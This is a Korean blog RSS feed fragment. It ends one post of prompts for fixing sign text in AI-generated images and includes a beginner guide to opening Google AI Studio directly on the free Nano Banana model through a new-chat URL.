&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1264&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rAg9J/dJMcafMeuqD/gFBHhqC7j0PGPWw5xLdMnk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rAg9J/dJMcafMeuqD/gFBHhqC7j0PGPWw5xLdMnk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rAg9J/dJMcafMeuqD/gFBHhqC7j0PGPWw5xLdMnk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrAg9J%2FdJMcafMeuqD%2FgFBHhqC7j0PGPWw5xLdMnk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;536&quot; height=&quot;441&quot; data-origin-width=&quot;1264&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시 5자라...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;15. 다섯글자이군요.&amp;nbsp;첫자와&amp;nbsp;마지막자&amp;nbsp;지워&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1112&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OJB8W/dJMcadU7n8a/gC2y0YBhILMzDbwCWBzPr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OJB8W/dJMcadU7n8a/gC2y0YBhILMzDbwCWBzPr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OJB8W/dJMcadU7n8a/gC2y0YBhILMzDbwCWBzPr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOJB8W%2FdJMcadU7n8a%2FgC2y0YBhILMzDbwCWBzPr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;571&quot; height=&quot;555&quot; data-origin-width=&quot;1112&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;16. 보&amp;nbsp;&amp;nbsp;베를.&amp;nbsp;누보베로&amp;nbsp;바꿔줘&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1500&quot; data-origin-height=&quot;810&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKS5Xr/dJMcahJ3j1a/e7AdP1FlVd0EtvpzpPtKJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKS5Xr/dJMcahJ3j1a/e7AdP1FlVd0EtvpzpPtKJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKS5Xr/dJMcahJ3j1a/e7AdP1FlVd0EtvpzpPtKJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKS5Xr%2FdJMcahJ3j1a%2Fe7AdP1FlVd0EtvpzpPtKJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;340&quot; data-origin-width=&quot;1500&quot; data-origin-height=&quot;810&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 새창&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;17. 간판의&amp;nbsp;보&amp;nbsp;&amp;nbsp;베를.&amp;nbsp;&quot;누보베&quot;로&amp;nbsp;바꿔줘&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1362&quot; data-origin-height=&quot;1020&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/u7M4r/dJMcadU7n87/pCyDLjVvY8JgLxkIUkyQt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/u7M4r/dJMcadU7n87/pCyDLjVvY8JgLxkIUkyQt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/u7M4r/dJMcadU7n87/pCyDLjVvY8JgLxkIUkyQt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fu7M4r%2FdJMcadU7n87%2FpCyDLjVvY8JgLxkIUkyQt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;449&quot; data-origin-width=&quot;1362&quot; data-origin-height=&quot;1020&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;18. 누보와&amp;nbsp;베&amp;nbsp;사이&amp;nbsp;띄지&amp;nbsp;말고&amp;nbsp;붙여줘&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또 못알아듣네.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1484&quot; data-origin-height=&quot;1224&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDFBRe/dJMcacIJJBq/yOOd1yW1vyldvpredOMKsK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDFBRe/dJMcacIJJBq/yOOd1yW1vyldvpredOMKsK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDFBRe/dJMcacIJJBq/yOOd1yW1vyldvpredOMKsK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDFBRe%2FdJMcacIJJBq%2FyOOd1yW1vyldvpredOMKsK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;614&quot; height=&quot;506&quot; data-origin-width=&quot;1484&quot; data-origin-height=&quot;1224&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;19. 간판&amp;nbsp;&quot;누보&amp;nbsp;&amp;nbsp;베&quot;&amp;nbsp;&amp;nbsp;중간에&amp;nbsp;띄워져&amp;nbsp;있는데&amp;nbsp;&quot;누보베&quot;&amp;nbsp;로&amp;nbsp;붙여줘&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1302&quot; data-origin-height=&quot;1054&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DKynO/dJMb99LYzt6/YHBGJQHdijGIP6aOqQQWV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DKynO/dJMb99LYzt6/YHBGJQHdijGIP6aOqQQWV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DKynO/dJMb99LYzt6/YHBGJQHdijGIP6aOqQQWV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDKynO%2FdJMb99LYzt6%2FYHBGJQHdijGIP6aOqQQWV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;651&quot; height=&quot;527&quot; data-origin-width=&quot;1302&quot; data-origin-height=&quot;1054&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;20.&amp;nbsp; 간판이 &quot;누보보베&quot; 네글자가 아니라 &quot; 누보베&quot; 세글자입니다.&amp;nbsp; (동일&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;21. 간판이&amp;nbsp;&quot;누보보베&quot;&amp;nbsp;&amp;nbsp;네글자를&amp;nbsp;&amp;nbsp;&quot;&amp;nbsp;누보베~&quot;&amp;nbsp;네글자로&amp;nbsp;&amp;nbsp;변경해줘요.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Gemini_Generated_Image_5c0o9f5c0o9f5c0o (1).png&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;1152&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nHGQk/dJMcaa5cW4K/xjINnv2VOSnmDjytLbnrT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nHGQk/dJMcaa5cW4K/xjINnv2VOSnmDjytLbnrT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nHGQk/dJMcaa5cW4K/xjINnv2VOSnmDjytLbnrT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnHGQk%2FdJMcaa5cW4K%2FxjINnv2VOSnmDjytLbnrT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;608&quot; height=&quot;782&quot; data-filename=&quot;Gemini_Generated_Image_5c0o9f5c0o9f5c0o (1).png&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;1152&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>FastCampus</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/200</guid>
      <comments>https://thepin.tistory.com/200#entry200comment</comments>
      <pubDate>Sun, 1 Feb 2026 15:00:28 +0900</pubDate>
    </item>
    <item>
      <title>나노바나나 프로만 보이고 결제 키 요구할 때, 이 주소로 해결하는 방법 (모델 변경 메뉴 못 찾는 분 필독)</title>
      <link>https://thepin.tistory.com/199</link>
      <description>&lt;h2 id=&quot;&quot; style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;나노바나나 프로만 보이고 결제 키 요구할 때, 이 주소로 해결하는 방법 (모델 변경 메뉴 못 찾는 분 필독)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://aistudio.google.com/prompts/new_chat?model=nano-banana&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://aistudio.google.com/prompts/new_chat?model=nano-banana&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 id=&quot;&quot; style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;구글 AI 스튜디오를 쓰다 보면, 어느 순간 화면에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Nano Banana Pro만 보이고 &amp;ldquo;결제된 API 키를 연결하라&amp;rdquo;는 문구&lt;/b&gt;가 떠서 막히는 경우가 많습니다. 특히 초보자분들은 모델 변경 메뉴 위치를 못 찾아서, &amp;ldquo;무료 서비스라더니 왜 카드부터 내라고 하지?&amp;rdquo; 하고 당황하시죠.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 글에서는 그런 분들을 위해,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;모델 변경 메뉴를 못 찾더라도&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;위에 적어둔 URL 하나만으로 문제를 바로 우회하는 방법을 단계별로 정리했습니다.&amp;nbsp;&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; font-size: 1.62em; letter-spacing: -1px; font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif;&quot;&gt;1. 왜 &amp;ldquo;Nano Banana Pro + 결제된 API 키&amp;rdquo; 화면이 뜰까?&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 상황부터 정리해 보겠습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Google AI Studio에서 새 프롬프트를 만들면, 기본값이 &lt;b&gt;유료 Pro 모델&lt;/b&gt;(예: Nano Banana Pro, Gemini Pro 등)로 잡혀 있는 경우가 많습니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2378&quot; data-origin-height=&quot;1340&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Cy5XW/dJMcabpwJEz/2Vba3FceAcoNKazwkcfkHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Cy5XW/dJMcabpwJEz/2Vba3FceAcoNKazwkcfkHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Cy5XW/dJMcabpwJEz/2Vba3FceAcoNKazwkcfkHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCy5XW%2FdJMcabpwJEz%2F2Vba3FceAcoNKazwkcfkHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;649&quot; height=&quot;366&quot; data-origin-width=&quot;2378&quot; data-origin-height=&quot;1340&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Pro 모델은 &lt;b&gt;API를 통한 상업적/대량 사용을 전제로 한 유료 모델&lt;/b&gt;이라, 사용 전에 결제 계정과 API 키를 연결하라는 안내가 나옵니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;이때 우측 상단이나 Run settings 영역에서 모델을 바꾸면 해결되지만,
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;메뉴가 숨겨져 있거나&lt;/li&gt;
&lt;li&gt;영문 UI에 익숙하지 않거나&lt;/li&gt;
&lt;li&gt;인터페이스가 업데이트되면서 위치가 바뀐 경우&lt;br /&gt;사용자가 메뉴를 못 찾고 막히는 일이 자주 생깁니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;[&lt;a href=&quot;https://www.youtube.com/watch?v=xBiLK7O5bSo&quot;&gt;youtube&lt;/a&gt;]&lt;/span&gt;​&lt;/span&gt;&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;[&lt;a href=&quot;https://learnandcreate.tistory.com/2914&quot;&gt;learnandcreate.tistory&lt;/a&gt;]&lt;/span&gt;​&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1512&quot; data-origin-height=&quot;248&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bohGwq/dJMcacaT5OW/eIlaKTZE0JHFmCGjyFPi0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bohGwq/dJMcacaT5OW/eIlaKTZE0JHFmCGjyFPi0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bohGwq/dJMcacaT5OW/eIlaKTZE0JHFmCGjyFPi0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbohGwq%2FdJMcacaT5OW%2FeIlaKTZE0JHFmCGjyFPi0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;123&quot; data-origin-width=&quot;1512&quot; data-origin-height=&quot;248&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;정리하면, &lt;b&gt;여러분이 잘못한 것이 아니라, 기본값이 유료 Pro 모델로 잡혀 있기 때문&lt;/b&gt;에 생기는 문제입니다. 이 글에서 소개하는 URL을 쓰면, 굳이 이 화면에 갇히지 않고 &amp;ldquo;모델 선택&amp;rdquo; 단계 자체를 건너뛸 수 있습니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 id=&quot;2-----url&quot; data-ke-size=&quot;size26&quot;&gt;2. 해결 핵심: 새 채팅 URL로 바로 들어가기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 우회하는 핵심은 아주 간단합니다. &lt;b&gt;&amp;ldquo;결제 키 연결하라&amp;rdquo;는 Pro 전용 화면이 아니라, 모델명을 명시한&amp;nbsp; 새 채팅 화면으로 직접 들어가는 것&lt;/b&gt;입니다그때 사용하는 주소가 바로 위에 적은 이 URL입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;새 채팅 프롬프트 주소: &lt;a href=&quot;https://aistudio.google.com/prompts/new_chat?model=nano-banana&quot;&gt;https://aistudio.google.com/prompts/new_chat?model=nano-banana&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 주소는 &amp;ldquo;나노바바나 모델을 강제로 선택한 상태&amp;rdquo; 로&amp;nbsp; &lt;b&gt;새 프롬프트 생성 화면&lt;/b&gt;으로 바로 이동합니다.&lt;/p&gt;
&lt;h2 id=&quot;3&quot; data-ke-size=&quot;size26&quot;&gt;3. 단계별 해결 절차 (완전 초보용)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 순서를 그대로 따라 해 보세요.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;단계 1: 막힌 탭은 그대로 두고 새 탭 열기&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&amp;ldquo;Link a paid API key to access Nano Banana Pro&amp;rdquo; 같은 문구가 보이는 탭은 일단 그대로 두셔도 됩니다.&lt;/li&gt;
&lt;li&gt;브라우저에서 새 탭을 하나 엽니다.&lt;/li&gt;
&lt;li&gt;새 탭 주소창에 &lt;a href=&quot;https://aistudio.google.com/prompts/new_chat?model=nano-banana&quot;&gt;https://aistudio.google.com/prompts/new_chat?model=nano-banana&lt;/a&gt;을 그대로 붙여 넣고 Enter를 누릅니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 하면 &lt;b&gt;결제 키 안내 화면이 아닌, 무료 새 프롬프트 생성 화면&lt;/b&gt;이 바로 열립니다&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;/span&gt;​&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 id=&quot;4--url&quot; data-ke-size=&quot;size26&quot;&gt;4. 이 URL을 북마크해 두면 좋은 이유&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://aistudio.google.com/prompts/new_chat?model=nano-banana&quot;&gt;https://aistudio.google.com/prompts/new_chat?model=nano-banana&lt;/a&gt;&amp;nbsp;주소를 &lt;b&gt;브라우저 즐겨찾기(북마크)&lt;/b&gt; 에 저장해 두면, 다음과 같은 장점이 있습니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;구글이 기본 모델 구성을 바꿔도, 항상 &amp;ldquo;새 프롬프트&amp;rdquo;로 진입할 수 있습니다.&lt;/li&gt;
&lt;li&gt;예전 세션이 꼬였을 때도, 이 주소로 들어가면 깨끗한 새 세션에서 다시 시작할 수 있습니다.&lt;/li&gt;
&lt;li&gt;제미나이/나노바나나 관련 강의나 블로그 글에서 자주 사용하는 공식 진입 주소라, 다른 튜토리얼을 따라 할 때도 동일한 화면으로 진입하기 쉽습니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 &amp;ldquo;어제까지 잘 되던 나노바나나가 오늘은 자꾸 결제 키를 요구한다&amp;rdquo; 같은 상황에서는, &lt;b&gt;기존 탭을 닫고 이 주소로 다시 시작&lt;/b&gt;하는 것이 가장 빠른 해결책이 됩니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 id=&quot;5&quot; data-ke-size=&quot;size26&quot;&gt;5. 초보자가 헷갈리는 포인트 정리&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로, 실제로 많이 나오는 오해들을 정리해 보겠습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;ldquo;나노바나나는 전부 유료다?&amp;rdquo;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;그렇지 않습니다. 모델과 사용 경로에 따라 &lt;b&gt;무료 체험/쿼터&lt;/b&gt;가 제공되며, 웹 인터페이스에서는 별도 결제 없이도 시험 사용이 가능합니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;a href=&quot;https://blog.naver.com/ryurime88/223984667852?fromRss=true&amp;amp;trackingCode=rss&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;naver&lt;/span&gt;&lt;span&gt;&lt;span&gt;+2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&amp;ldquo;결제된 API 키를 연결하라는 화면 = 바로 요금 청구?&amp;rdquo;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 화면은 &lt;b&gt;결제를 하라는 안내이지, 이미 과금된 상태는 아닙니다.&lt;/b&gt; API 키와 결제 계정을 직접 설정하지 않았다면 바로 요금이 나가지는 않습니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;a href=&quot;https://lilys.ai/ko/notes/google-ai-studio-20251202/nano-banana-pro-setup-api-key-fix&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;lilys&lt;/span&gt;&lt;span&gt;&lt;span&gt;+1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;[&lt;a href=&quot;https://www.youtube.com/watch?v=n2TEtrKJTr0&quot;&gt;youtube&lt;/a&gt;]&lt;/span&gt;​&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&amp;ldquo;모델 변경 메뉴를 못 찾아서 결국 결제를 눌러야 하나?&amp;rdquo;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;그럴 필요 없습니다. &lt;b&gt;이 글의 URL로 새 프롬프트 화면을 열고, 그 안에서 모델을 다시 선택&lt;/b&gt;하시면 됩니다.&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;a href=&quot;https://learnandcreate.tistory.com/2914&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;learnandcreate.tistory&lt;/span&gt;&lt;span&gt;&lt;span&gt;+1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;[&lt;a href=&quot;https://www.youtube.com/watch?v=xBiLK7O5bSo&quot;&gt;youtube&lt;/a&gt;]&lt;/span&gt;​&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
